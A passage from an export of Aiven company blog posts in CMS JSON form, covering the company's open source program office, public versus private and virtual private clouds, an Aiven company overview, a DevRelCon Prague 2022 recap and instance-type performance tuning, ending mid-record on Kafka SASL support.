(plugins, connectors, underlying libraries...). Each team member is also a member of the community, so they have an inside view and can evaluate the potential impact of the tasks they are working on.\n\nWe especially emphasize getting rid of technical debt, as these tasks are usually not picked up by people working on OSS during their free time. These type of tasks has a good ratio of time invested vs. returns in the area of maintainability.\n\nOur work on 3rd party OSS projects is not limited to contributing new features, bug fixes or cleaning technical debt. One crucial part is reviewing existing code submissions from the community. We understand maintainers' workload is usually several orders of magnitude higher than what one person can tackle, so we do what we can to share it.\n\nWe want to ensure that any OSS project Aiven depends on has enough people working on it. This is the best way to ensure project stability. The more companies that would do this, the better the OSS ecosystems get, in that their existence will not depend on single individuals or single companies.\n\nOur work in this space is guided by the following principles:\n\n* Community first: the work we choose should benefit the community.\n* Be reputable: we work towards developing a reputation for reliability, usefulness, enthusiasm, expertise, and availability.\n* Be transparent: there are no hidden intentions behind our work and we are transparent on our affiliation.\n* Beyond code production: our work is not just submitting patches, but also reviewing patches, answering questions, writing blog posts, presenting at conferences and sharing our knowledge by any available means.\n\n### Foster an OSS culture within Aiven\n\nAiven is not just a consumer and contributor to OSS, but also a producer. The OSPO team is an integral part of the process, starting from the moment the teams decide they want to open source a given project and also during all the project lifecycle.\n\nThe OSPO team makes sure each member of our organization is aware of the power and importance of OSS. We work closely with Engineering, Product and Developer Relations teams to identify opportunities for open sourcing internal projects that may benefit the community - not just users of the Aiven platform, but anyone using the underlying OSS technologies.\n\nOne important initiative at Aiven that helps to foster OSS culture and mentality is our Plankton Program. We offer monetary compensation for all Aiven employees who decide to spend some of their free time working on open source projects. And this is not limited to just writing software, but any type of work done in open source: from contributing to programs like [Common Voice](https://commonvoice.mozilla.org/en), to writing articles in Wikipedia, or doing some project management for an existing open source.\n\nThe OSPO team is not the _\"team that does open source at Aiven\"_. We're the team that multiplies open source at Aiven.\n\nAdditionally, together with our product teams, we maintain the open source projects under Aiven's umbrella. We make sure those projects are community friendly. The work we do goes beyond providing code. We offer guidance and structure around governance, project management, licensing, and community engagement.\n\n### Ensure legal compliance\n\nAs a consumer and producer of open source, Aiven needs to ensure all our software is compliant with all legal aspects involving licenses, trademarks, and contributor agreements. To do this we resort to a great team of experienced lawyers who help us navigate relevant legal frameworks.\nTo succeed in this area we need to know our full dependency tree. The Software Bill Of Materials (SBOM) is a tremendously useful tool that helps analyzing and auditing the dependency tree of given software.\n\nHaving this information is crucial to determine which projects are in our supply chain and which ones we deem might need some help.\n\n## Lessons learned\n\nDuring this first year at OSPO, we have learned several important things. To help others follow in our footsteps, we want to share them with the world.\n\n### Hiring\n\nCompanies have been hiring for product development roles for a long time, and one might think that creating a team for the OSPO might be only slightly more complicated. However, as we were building an OSPO whose focus was 3rd party OSS projects, we needed a different type of developer.\n\nCurrent software development optimizes for turn-around time: how fast can I get feedback on the feature I'm working on right now. This means that our industry focuses on aspects like incremental development, continuous integration and continuous deployment, early feedback, and listening attentively to users.\n\nWhile we believe this is a great way of developing products (Aiven focuses on those same terms for our product), applying it to 3rd party OSS development won't yield the expected results as delivery happens at the community level (either via Project Management Committees or via different means of consensus in the community). We need to find ways of working (and developers that are effective under this) that accommodate the fact that the timings and even deciding if changes get incorporated happen outside of the team and even the company.\n\nInstead we need to look for developers who:\n\n* Understand the timings of OSS\n* Are resilient (some change requests will be rejected, and many will take a long time to incorporate)\n* Understand the needs of the community\n* Know how to prioritize their work\n\nAlso, it goes without saying that we needed to go fully remote: instead of expecting the talent to come to us, we want to go where the talent is.\n\n### Management style\n\nThere are lots of management styles, and the type of management we need to succeed with 3rd party OSS differs from the mainstream. We learned that delivery can't be the responsibility of the manager when working with 3rd party OSS, because project governance is driven outside the company, far from the reach of the managers. This means we need to focus on enablers, true multipliers that make people perform at their full potential.\n\nAnother crucial aspect is to find managers that are completely comfortable in not being the expert in the room. More often than not, managers know only the superficial aspects of the technologies their team is working on. When one is a manager of a team working on PostgreSQL®, Apache Kafka® and OpenSearch®, it's clear that they will never be experts in all these areas, and maybe some of them are only known to them from a user perspective.\n\n### Performance reviews\n\nThe eternal question is how do we measure success? This is already a complicated question in software engineering in general, but when the team whose success we need to evaluate contributes to 3rd party OSS, it just gets more complex.\n\nThe first thing we need to acknowledge is that the time scale of the development process doesn't belong to us, but to the whole community. How can we then use metrics like \"number of features released\" or \"time to deploy\"? In short, we can't. We need to move away from such metrics and concentrate on measuring things we have the full control on. For example, a set of metrics that are useful for us are:\n\n* Number of issues worked on\n* Number of reviews on patches\n* Knowledge shared (blogs, conference talks, mailing list engagement...)\n\n## Next year\n\nThis was a wonderful year, we built up the team from the ground up and had a real impact on the projects we worked on. Since we proved to ourselves we can do this, we want to double down for the year to come.\n\nWe want to double our size and increase the reach and breadth of our team (more projects and more people per project). Our synergies with the product teams generated way more OSS projects that we expected, so we want to also put some more effort in this area. We want to make sure that the majority of our OSS projects are welcoming external contributors and foster a safe place for people to form communities around them.\n\nBut all this couldn't be done without the great help from our Engineering teams and our Developer Relations team. Don't forget to check out our open positions [here](https://aiven.io/careers)!\n\nTo another year, of many more, of successful contributions to open source!\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-c91ee809bea87ccac7cb3046cbb2ed2559c9663e-1567x844-png","_type":"reference"}},"publishedAt":"2022-04-13T00:00:00.000Z","related":[{"_key":"460f6558db2f","_ref":"85eab45a-fdee-4d88-8abc-81ba9ee74fc5","_type":"reference"},{"_key":"01a8d8851a90","_ref":"6xsLe60xhyOugnLw9yg8Uc","_type":"reference"},{"_key":"643a9d75953e","_ref":"25GCqENl5povl8r1ZHNXOy","_type":"reference"}],"seo":{"metaDescription":"Aiven's OSPO is now one year old. Find out what OS Engineering Manager Josep Prat and his team have learned about setting up and running the function.","metaImage":{"alt":"","asset":{"_ref":"image-c91ee809bea87ccac7cb3046cbb2ed2559c9663e-1567x844-png","_type":"reference"}},"metaTitle":"Open Source Program Office at Aiven: A year later"},"slug":{"_type":"slug","current":"/blog/open-source-program-office-at-aiven-a-year-later"},"subtitle":"Aiven's OSPO is now one year old. Find out what OS Engineering Manager Josep Prat and his team have learned about setting up and running the function.","title":"Open Source Program Office at Aiven: A year later"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4TJexxTlV2pemE4b1lWFPp","_rev":"4xxJDWP8Sw6o7zBrUAiKq7","_type":"post","_updatedAt":"2023-08-03T10:37:05Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Recently Aiven conducted a market study, and one question asked about the respondent’s company’s current cloud arrangements. Given that we’re quite familiar with the terrain, we were a bit startled that 61% of respondents stated that their data was stored in a private cloud. The same held true even in industries where we were pretty sure that couldn’t be the case. \n\n![Infographic](//cdn.sanity.io/images/sczeoy4w/production/78ca221848d6254f3cf65576719f33cb45a7938d-1567x844.jpg \"Aiven's market study results: where most data is stored in organisations\")\n\nSo we went back to take a critical look at what we’d actually asked. It turned out that the question was open to misinterpretation. Some respondents had perhaps made a finer distinction between cloud types than intended. Maybe they had talked about *virtual private clouds*, which we hadn’t provided as a separate option.\n## What is a public cloud? How is a private cloud different?\n\nTo get started with the terms, note that for one thing, a public cloud is not public. And a private cloud is not private.\n\nIf your data lives in a public cloud, that doesn’t mean your data is publicly accessible, flapping in the wind. Similarly, if your data is in a private cloud, it doesn’t imply that the data is permanently hidden from outsiders.\n\nInstead, a public cloud is a service that is made publicly available by the company providing that service. A private cloud, in the meanwhile, is a cloud created by a company for its own use. \n\nThink of it like a public airline versus a private jet. Anyone can fly on a public airline if they buy a ticket. Even so, members of the public can’t just wander onto airplanes demanding to be flown to Sydney or Berlin. Nor can they browse passenger manifests or make off with other people’s luggage. A private jet, on the other hand, is like a private cloud: you bought it, you pay for its maintenance, you employ a pilot or fly it yourself. In exchange, you can furnish your jet how you wish, have complete privacy, and fully control who else can fly with you.\n\nYes, the terminology is confusing. It would make more sense to call public clouds “managed clouds”, for example. But what can you do, the term is out there.\n## So how does it work?\nA __public cloud__ runs on hardware provided by an external company. It uses networks and software provided by either the same company or one or more other companies. The user company purchases the service for a set sum. Depending on the service type, they receive access to the hardware, networking and software as well as the maintenance and upgrade tasks related to all those elements. Your data itself remains private, and the cloud company takes great pains to ensure that.\n\nA __private cloud__, in contrast, runs on hardware, networking and software purchased, installed and managed by the company that uses it. This way, the company retains full control over who can access which parts of their data. They can also control the physical location of the hardware. A fully private cloud is something mostly larger companies find it feasible to maintain. \n\nA mix of these two is a __hybrid cloud__. There some of the infrastructure is internal to the user company and some (for example, data storage) is purchased from an outside vendor. Hybrid clouds come in many shapes and configurations, and they all try to leverage the best properties of both types of cloud. The results are often, well, mixed. A hybrid cloud can end up being as expensive and complicated to maintain as a private one.\n\nSo far so clear, right? Sorry, but we still haven’t covered virtual private clouds!\n## Virtual private clouds - privacy in the public sphere\nA virtual private cloud (VPC) is a pool of resources that lives inside a public cloud, isolated from all other VPCs. The resources in one VPC are reserved for one single organization and can be customized in various ways. It uses a private IP subnet and its parts communicate via a private communication network (like a VLAN). Remote access is provided through a VPN. \n\nThe effect is that of a cloud-in-a-cloud where no part of the resources of the VPC touches any other part of the cloud infrastructure. So the VPC is a private cloud… inside a public cloud. We count that as a public cloud, because we’re a cloud service provider. For our friends in other industries, though, it looks quite a lot like a private cloud, since no one else can get in, and when suddenly asked, they may well classify it as such.\n\n## Come to the public side (We have cookies!) \n\nWe’ve [written before](https://aiven.io/blog/12-reasons-you-should-choose-a-public-cloud-service \"12 reasons you(r) boss should choose a public cloud service\") about why we think [managed cloud services are the way forward](https://aiven.io/blog/dbas-shouldnt-be-afraid-of-managed-services \"DBAs shouldn't be afraid of managed services\") for most companies. Given that Aiven provides a comprehensive range of public cloud services, this opinion probably doesn’t come as a surprise. Our managed services are easy to get started with and simple to scale up or down. Step on board with us!\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-8619c10626c6875fb0cac5749cc5d1c0df493545-1567x844-png","_type":"reference"}},"publishedAt":"2021-03-04T00:00:00.000Z","seo":{"metaDescription":"When is your public cloud actually private? Sorry, that’s a trick question! Read on to understand the difference between public and private in cloud computing.","metaImage":{"alt":"","asset":{"_ref":"image-8619c10626c6875fb0cac5749cc5d1c0df493545-1567x844-png","_type":"reference"}},"metaTitle":"Public cloud v. private cloud - what’s the difference?"},"slug":{"_type":"slug","current":"/blog/public-v-private-clouds-whats-the-difference"},"subtitle":"When is your public cloud actually private? Sorry, that’s a trick question! Read on to understand the difference between public and private in cloud computing.","title":"Public cloud v. private cloud - what’s the difference?"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"BRkqFArJ1VnAVZYX3BnRt","_rev":"2TBrbODd4ENN9GFOVLnue9","_type":"post","_updatedAt":"2023-08-03T10:46:57Z","authors":[],"body":"## A brief history\nThe idea of Aiven came from four Finnish developers called Oskari, Hannu, Heikki and Mika. In their everyday work, they had seen that setting up and maintaining databases was a pain for people who just wanted to develop applications and code in peace. (This was 2015; there were some providers already out there but none that answered to their criteria or made the experience of using them smooth and painless.) \n\nThey felt that data shouldn’t be locked in to one vendor and that the underlying technology should be developed in the open. The best cloud data management tools should be available for anyone who needs them. \n\nThey wanted to __make developers’ lives better__, and this was the way to do it.\n\nSo they started Aiven.\n\nThe founders had three core principles for building this fresh-faced company and platform: Work hard to create simple solutions for complex problems. Automate everything. And hire the best people.\n\nToday, we articulate our values as \n\n__Openness__ - Open source is our beating heart and nurtures an atmosphere of inspiration, respect and open-mindedness.\n\n__Ownership__ - We take pride in our achievements, empower each other through responsibility, and aspire to learn and grow.\n\n__Courage__ - We embrace challenges, take bold risks, celebrate our successes and learn from our failures – together.\n\nThese are our north star in shaping the way we work and bringing like-minded people together at Aiven.\n\n\u003e__Aiven is…__\n\u003e\n\u003eThe company I always wanted to work for\n\nLike our employees, our customers are also a global, diverse crowd. We work with more than a thousand companies worldwide, from the US to Indonesia, from South Africa to Finland.\n## What does Aiven do?\nAiven offers data infrastructure elements as a service. We don’t sell licenses, and we don’t own servers - we manage people’s data infrastructure for them.\n\nData infrastructure refers to all the pieces in a company’s IT system dealing with data. It can include\n- Databases for storing information\n- Data brokers for passing data to and from other systems\n- Visualization solutions \n- Analysis solutions\n- Monitoring and metrics solutions\n- Search engines\n- Cache\n- Connectors for integrating into other systems\n\n\u003e__Aiven is…__\n\u003e\n\u003eA team of highly talented people making something disruptive a reality.\n\nA company may decide to operate all these pieces themselves, or outsource all of them, or a mix of the two. Aiven can provide a full solution with all these pieces.\n\n![Aiven data infrastructure elements](//cdn.sanity.io/images/sczeoy4w/production/b5a699bd425d8f2e2acb76081d5fffcd5c5bc205-960x540.png)\n\nThe actual software is open source and it’s hosted at major cloud providers. To make life easier for our customers, they pay for the hosting with the same invoice as they pay Aiven for the infrastructure management.\n\nWith Aiven, the customer’s developers can focus on the business of building applications instead of worrying about infrastructure:\n- No maintenance. \n- No manual upgrades. \n- No hassle scaling or migrating services. \n- No confusion about how much you’re paying each month.\n- No restrictions on switching to another provider later.\n\n![Jill and the apple app](//cdn.sanity.io/images/sczeoy4w/production/7f44a5f2abf84d2b6eba0622b13a71c1c334535d-2500x1940.png)\n\nRead about actual use cases on our [case studies page](https://aiven.io/case-studies)!\n\nTo take a closer look at Aiven's services, you too can [sign up for a free trial](https://console.aiven.io/signup/email).\n## Aiven is open source\nOpen source is at the heart of what we do. \n\nBy using open source software (OSS), we and our customers make sure that they never get locked up in a vendor relationship. Their data remains theirs, and if they ever feel like it, they should be free to pack it up and leave us--although of course we do our best to offer service that makes them want to stay!\n\nOpen source has many other benefits, too. The development happens out in the open, which means the bar of access is low, and the tools themselves are available for anyone who needs them.\n\nThe developer base is huge and global, and there are always many eyes on any piece of code. As a result, security and reliability is better in the open source world than for proprietary software.\n\n\u003e__Aiven is…__\n\u003e\n\u003ePaying back, paying forward.\n\u003e\n\u003eBuilding something meaningful from the ground up.\n## Aiven is sustainable\nThe efficient storage and movement of data is crucial for modern life, but at the same time, storing and moving data takes up massive amounts of global resources. Who controls those resources and whether they are squandered is a real issue that [Aiven wants to tackle](https://aiven.io/blog/sustainability-and-social-impact-commitment). \n\nAccess to and control of data is an issue of equality and equity. Aiven operates on top of open source technologies, and we do our best to democratize them. We want to lower the threshold for everyone to build great apps - not *only* those who had the opportunity to attend universities and raise seed money.\n\nBut that is not enough. Faced with climate change, we need to think carefully about where and how resources are used. Cloud platforms are by default more energy efficient than private data centers, but we can do more. Aiven aims to make energy consumption in the technology sector more environmentally sound by both changing the energy mix and controlling the overall energy consumption.\n## We are Aiven\nAiven is more than a data infrastructure platform--Aiven is an idea, a company, and a community.\n\n\u003e__Aiven is…__\n\u003e\n\u003eA way of life\n\nAiven cares about its employees and about the work that we all do. Employees say Aiven is all about autonomy and respect for people.\n\nAt Aiven, our generous learning opportunities give us the space to learn in our everyday life. And that's what life in a hyperscaler often is like. We get to create an incredible growth journey while making the complex problems simple. It's almost impossible to be a part of that journey and NOT to constantly learn, with amazing colleagues. \n\nActually, a third of new joiners say they applied to work at Aiven because the Aiveners they met impressed them with their professionalism, energy and drive to have an impact. When we go out into the world and talk to customers, that really shows.\n\n\u003e__Aiven is…__\n\u003e\n\u003eOnce in a lifetime team\n\u003e\n\u003eAn amazing learning experience\n\nAll in all, people enjoy working at Aiven and keep recommending it to their friends.\n\n\u003e__Aiven is…__\n\u003e\n\u003eFull of love and caring\n\n\u003eI feel like I’ve come home\n\n## And the crab?\nOne of the most frequently asked questions is about our crab logo. Well, the name is Crabby... [But join us to find out more](https://aiven.io/careers)!\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you're still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-8c1d53d5c5bded59b018f323eabd173fc0cd1820-1567x844-png","_type":"reference"}},"publishedAt":"2022-05-25T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven is the company that offers the best data infrastructure platform to the world. Read on to find out more about who we are and what we do.","metaImage":{"alt":"","asset":{"_ref":"image-8c1d53d5c5bded59b018f323eabd173fc0cd1820-1567x844-png","_type":"reference"}},"metaTitle":"What is Aiven? | Find out our core values and what we do"},"slug":{"_type":"slug","current":"/blog/what-is-aiven"},"subtitle":"Aiven is the company that offers the best data infrastructure platform to the world. Read on to find out more about who we are and what we do.","title":"What is Aiven?"} {"__i18n_lang":"en","_createdAt":"2022-12-13T09:19:28Z","_id":"0bfbd9fe-3345-405a-af46-8afc21cf05f2","_rev":"rV9BZDYEBgQp95tIyZzU6C","_type":"post","_updatedAt":"2023-06-08T08:04:06Z","authors":[{"_key":"8447ed8f4360","_ref":"141b1bf6-40a1-43a1-a684-b3f60b38ef20","_type":"reference"}],"body":"[DevRelCon Prague 2022](https://prague-2022.devrelcon.dev/) was all about the importance of growing healthy **communities** and driving **value for businesses** during a downturn. The event was a great experience and definitely a conference that I would recommend for anyone looking for insights on how to set up value driven company cultures, expand your business through community outreach or how Developer Relations can have a positive impact to your company in times of economic downturn.\nThe picture below captures the main messages in form of a scatchArt and was inspired during the event by another Developer Advocate.\n\n![Scatchart of Developer Relations Conference. A smiling person wearing a DevRel cap, with an \"I heart Community\" T-shirt. In one hand a megaphone labeled \"Value\", in the other balloons saying \"Sales\", \"Product\", \"PLG\" and \"Business Needs\". Their shoes are labelled \"Kindness\" and \"Respect\". They stand on a podium with three parts, \"1. Culture\", \"2. Product\" and \"3. Brand\"](https://cdn.sanity.io/images/sczeoy4w/production/028b97cf5eb26dabfd05b62664990d57d21aeaa4-2000x1228.jpg)\n \n\nThe event got off to a very strong start by sharing some research data about the impact and value of community initiatives through a roleplay scenario of a funding discussion between the Head of Community [Rebecca Marshburn](https://twitter.com/beccaodelay) and the COO [Jake Randall](https://www.linkedin.com/in/jake-randall-55297114/) from Common Room. \n\nThey pointed out that even though it is very hard to measure relationships - and relationships are what communities are all about - it is possible to measure your community impact, e.g through growing member numbers, reduction of answering times or an acceleration of pipeline, Rebecca and Jake also demonstrated in a very practicable way the theory of how to get to a yes. \n**Involving, aligning and showing the impact** of different community initiatives with various organizations in your company like Sales, Product Engineering or Customer Success plays a critical role in success. \n\nI'd also like to emphasize one paradigm in particular as this came up in various talks during the conference: \"Sales is about value matching\". Building bridges between DevRel and Sales can massively impact faster Go-To-Market (e.g faster deal progression in \u003c 90 days) \n\n![Ben Greenberg on stage](https://cdn.sanity.io/images/sczeoy4w/production/d6dcbcc86890b9ef9e8c851d2ece696439cf1923-2000x1500.jpg)\n\n### Measuring DevRel during a downturn: returning to the fundamentals\n\n[Ben Greenberg](https://twitter.com/rabbigreenberg), Senior Developer Relations Engineer at Parity Technologies, brought this to the next level. Not only was he (in my personal opinion) one of the best speakers on stage, but he really hit the spot by pointing out the importance of (re)aligning DevRel to the rest of the business, and measuring outcomes. \n\nAchieving this begins with speaking a common language; using concrete terms and actually measuring outcomes. As he said \"a team that does not measure ‘well’ has a hard time to show success\". \nNext time you think about OKRs or want to communicate the impact of Developer Relations in your company, include sentences like: \"We supported Marketing by...\" or \"We helped Sales achieve...\". This will encourage long term viability and alignment throughout all business units. \n\nHe also made a second important point: **FOCUS**! \"An economic downturn is not the time to try out new things\". Focussing DevRel activities to the fundamentals of \"Why DevRel was introduced in your company in the first place\" and \"returning to the path with the highest impact\" is of critical importance.\n\nStrong **alignment and focus** are the first step to improving your value-driven culture. By putting DevRel at the heart of it, we can certainly make a positive impact.\n\n\n### Is Product Led Growth (PLG) the DevOps of DevRel?\n\nSticking to focus and alignment a little further [Daniel Bryant](https://twitter.com/danielbryantuk), Head of DevRel at Ambassador Labs, rallied on an interesting matter. With the rise of PLG, the question around the distinction between PLG and DevRel also came up. \nDaniel pointed out that DevRel adds loads to PLG because \"everyone [nowadays] wants to get hands-on with the technology - even the CxOs\". So transferring the fundamental idea of DevOps to tear down walls between organizational silos underlined his statement.\n\n\n![DevOps Silos. Text says \"So, how does DevOps play into this? The picture shows stick-figures separated by walls, for Business, UX, Dev, QA and Ops. Each figure has an arrow, over the wall, to the next, and Ops has an arrow back to Dev. Ops has a speech ballon saying \"!?!\"](https://cdn.sanity.io/images/sczeoy4w/production/bb79f06c0abe03a610bc0d09f1ca75129f5d8847-2000x1106.png)\nversus\n![DevOps for DevRel. Text says \"So, how does DevOps play into this? (Let's swap the silo names). The picture shows stick-figures separated by walls, for Business, Product, DevRel, Growth and Sales. Each figure has an arrow, over the wall, to the next, and Sales has an arrow back to DevRel. Sales has a speech ballon saying \"!?!\"](https://cdn.sanity.io/images/sczeoy4w/production/ec54d9cde353c08e044a0a010bc506eee1a5fe3f-2000x1114.png) \n\nBut HOW? Daniel gave some great insights on how they tackle this in everyday business at Ambassador Labs. So one way to align could be DevRel proactively delivering ideas and insights for various hypotheses and PLG driving 1-5 experiments per month, tweaking their campaigns and ads based on these insights. By reviewing the funnel, results and hypotheses on a more frequent manner asking questions like: \n\n* Did it affect trials?\n* Did it drive Product Qualified Leads (PQL) or Product Lead Opportunities (PQO)?\n\nWith goals shared between DevRel and PLG, regular syncs and retrospectives will help to form an end-to-end user experience by also engaging the beginners mindset and identifying \"aha\"-moments and hence **telling the story of the user’s path to value**.\n\n\n### How effective DevRel helps build great companies\n\n[Brandon West](https://twitter.com/bwest) from Datadog really made clear that Developer Advocates are role models and the spokespeople of your company's culture in the community. So showing respect, being available and approachable are key attributes for a Developer Advocate. \n\nHe also made clear that there’s quite a big difference between your company's brand, which is established over time and focussed on products rather than people, and its culture, which exists from day one and shows how things are done.\n\nIn that context his approach to focus on culture first, product next and brand last is a very valuable advice, especially for younger companies.\n\n\n### Toying with people's emotions: A cognitive theory of DevRel\n\n[Don Goodman-Wilson](https://www.linkedin.com/in/degoodmanwilson/) provided some clear scientific evidence, that **kindness and respect** trigger Oxytocin, a neurotransmitter that increases the feeling of connection and belonging. \n\nHe literally said: **OXYTOCIN = Love**\n\nSo making your community users feel welcome and being listened to and providing them with relatable stories and validation to their feelings and opinions will increase their engagement - if done consistently - because **doing it ONCE is not doing the trick!** as Don pointed out.\n\n**Pro-Tip**: If you love scientific evidence on how to hack some everyday life challenges in DevRel - like facing anxiety when talking on a stage I definitely recommend watching my colleague [Olena Kutsenko](https://twitter.com/olenakutsenko)'s talk \"Using Science to calm your nerves before public speaking\". \nHint: this might also work before presenting your outcomes to boards during a downturn.\n\n\n### Where do we go from here? The next level of DevRel value\n\n![Matty Stratton on stage](https://cdn.sanity.io/images/sczeoy4w/production/00c59bc4e7ada31cbac627bdbbfb342221952e52-2000x1500.jpg)\n\n[Matty Stratton](https://twitter.com/mattstratton), Director of DevRel at Aiven, not only choose a very fitting title to his closing keynote, but also magically summed up all the mentioned topics in his one. \n\nHe emphasized that, with DevRel being at the heart of many tech organizations, DevRel is the glue to all of them and fosters an inclusive and value driven culture. \nThis goes along with connecting to both: \"the people who build and the people who sell\" to understand their goals and challenges both inside and outside of the organization. \nHowever, due to being everywhere, it often is hard to understand the direct impact DevRel has to a company. So a clear communication of what DevRel will do and what it will not do by setting boundaries, expectations and proactively communicating initiatives and outcomes is key to success.\n\nHe shared with us this excellent recommendation: \"Do things that require less imagination to understand their impact\" like top of the funnel content, meeting customers and prospects at special occasions to have thought leadership discussions and provide value driven outcomes or supporting initiatives that aim to meet top level OKRs.\n\n### One step more?\n\n\"Building great relationships (inside and outside your company) will make you stronger\" has been the repeated message throughout this great event. The Aiven team had a great time at the event and we connected with so many other DevRel professionals from other organizations. When we work together, what could Developer Advocacy Partnerships bring to the table? \n\nLet's find out - get in touch with your friendly Developer Advocate/Neighbour here at Aiven by [tweeting at us](https://twitter.com/aiven_io).\n\nIf you feel like you missed out on the event, check out the recordings of this (once they're published) and past events on their [YouTube channel](https://www.youtube.com/c/DevRel).\n","categories":[{"_key":"d6a0b1742826","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"A blue background with the text \"DevRelCon: Show value, join forces and remove barriers\", and the Aiven logo at the bottom.","asset":{"_ref":"image-16fbf686c16ae7a79cd37f09cc2d58f689336489-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-12-15T10:01:38.020Z","related":[],"seo":{"_type":"metaData","metaTitle":"DevRelCon Prague | Improve developer relations with Aiven"},"slug":{"_type":"slug","current":"/blog/devrelcon-prague-2022-recap"},"subtitle":"Read on to find out about DevRelCon Prague and how Developer Relations done right can help your company, especially during the downturn.","title":"A sense of DevRelCon"} {"__i18n_lang":"en","_createdAt":"2022-11-23T08:06:36Z","_id":"b5c7cf6e-390e-40c3-a19b-003194cb505f","_rev":"tW7kMBSHIbCIaN9dzsGiVV","_type":"post","_updatedAt":"2023-06-19T08:32:44Z","authors":[{"_key":"bc3fbafa9b92","_ref":"495d15fb-d2b1-4a6b-a5af-44b62df3857a","_type":"reference"}],"body":"**There’s an important part of Aiven’s service offering that isn’t very visible to our customers, and that's ensuring that you get the best possible price/performance ratio with Aiven services. It's not just for new services, either. We constantly fine-tune the performance of all services throughout their lifecycle.**\n\nMoore's Law is over six decades old, but it still holds true – computer hardware continues to evolve very fast. Cloud computing is no exception. \n\nCloud platform providers keep introducing new virtual machine instance types. As a result of this development work, different clouds have evolved different instance types that are all optimized for different use cases. This makes it really hard to stay up-to-date and know which instance types are the best match for a given data infrastructure service. \n\nAt Aiven, we take this burden away from our customers. \n\nYou may have noticed that our service plans define the number of virtual machines, CPU’s and memory on those virtual machines, and storage included in the plan. But did you notice that they do not lock you to a specific instance type?\n\nOur team tracks the evolution of hardware. We are continuously evaluating which instance types bring the optimal price/performance ratio for specific services. When we find a better instance type, we’ll bring it into production, and we will base all new services created on this new instance type. Old services also switch to the new instance type the very next time they receive maintenance (updating the version, applying a security patch, scaling the service up or down...). All you see as a customer is that the performance of your service just got better - with no extra cost or time spent! \n\nAs an example of this process, we recently moved to new ARM based instance types in AWS for our Redis service. According to our benchmarking, this typically improves Redis performance by up to 10%. If you are one of our Redis customers you may already have seen this improved performance. If not, then you will soon.\n\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n## Next steps\nYour next step could be to check out \u003cthing\u003e\n\n--\u003e.\n\n\n\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\n","categories":[{"_key":"16c2570cbadb","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-ca4d57c76618ec0ccd31c15178405a9c3aa51d67-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-11-24T09:39:00.000Z","related":[{"_key":"0f3b52afc8d8","_ref":"UnSbtfuJBy9Px9UJftBUd","_type":"reference"},{"_key":"0d23ebe226cf","_ref":"5NiOyJ042D97FVXaTRORWX","_type":"reference"},{"_key":"88014d03464b","_ref":"7pb0UflNvu9Rdh9g9bDfPn","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Improving Service Performance: The Art of Doing Nothing"},"slug":{"_type":"slug","current":"/blog/constantly-improving-your-service-performance"},"subtitle":"Hardware evolves, better instance types become available - find out how Aiven helps your services keep up with the times while you kick back and relax.","title":"How to constantly improve your service performance... by doing nothing"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"4AKilAEVbsN6pgTWiFaa5T","_rev":"o6tzS9VqKAkmnDQmLHVkmF","_type":"post","_updatedAt":"2022-10-25T08:37:59Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Aiven Kafka now supports [SASL](https://en.wikipedia.org/wiki/Simple_Authentication_and_Security_Layer) as a 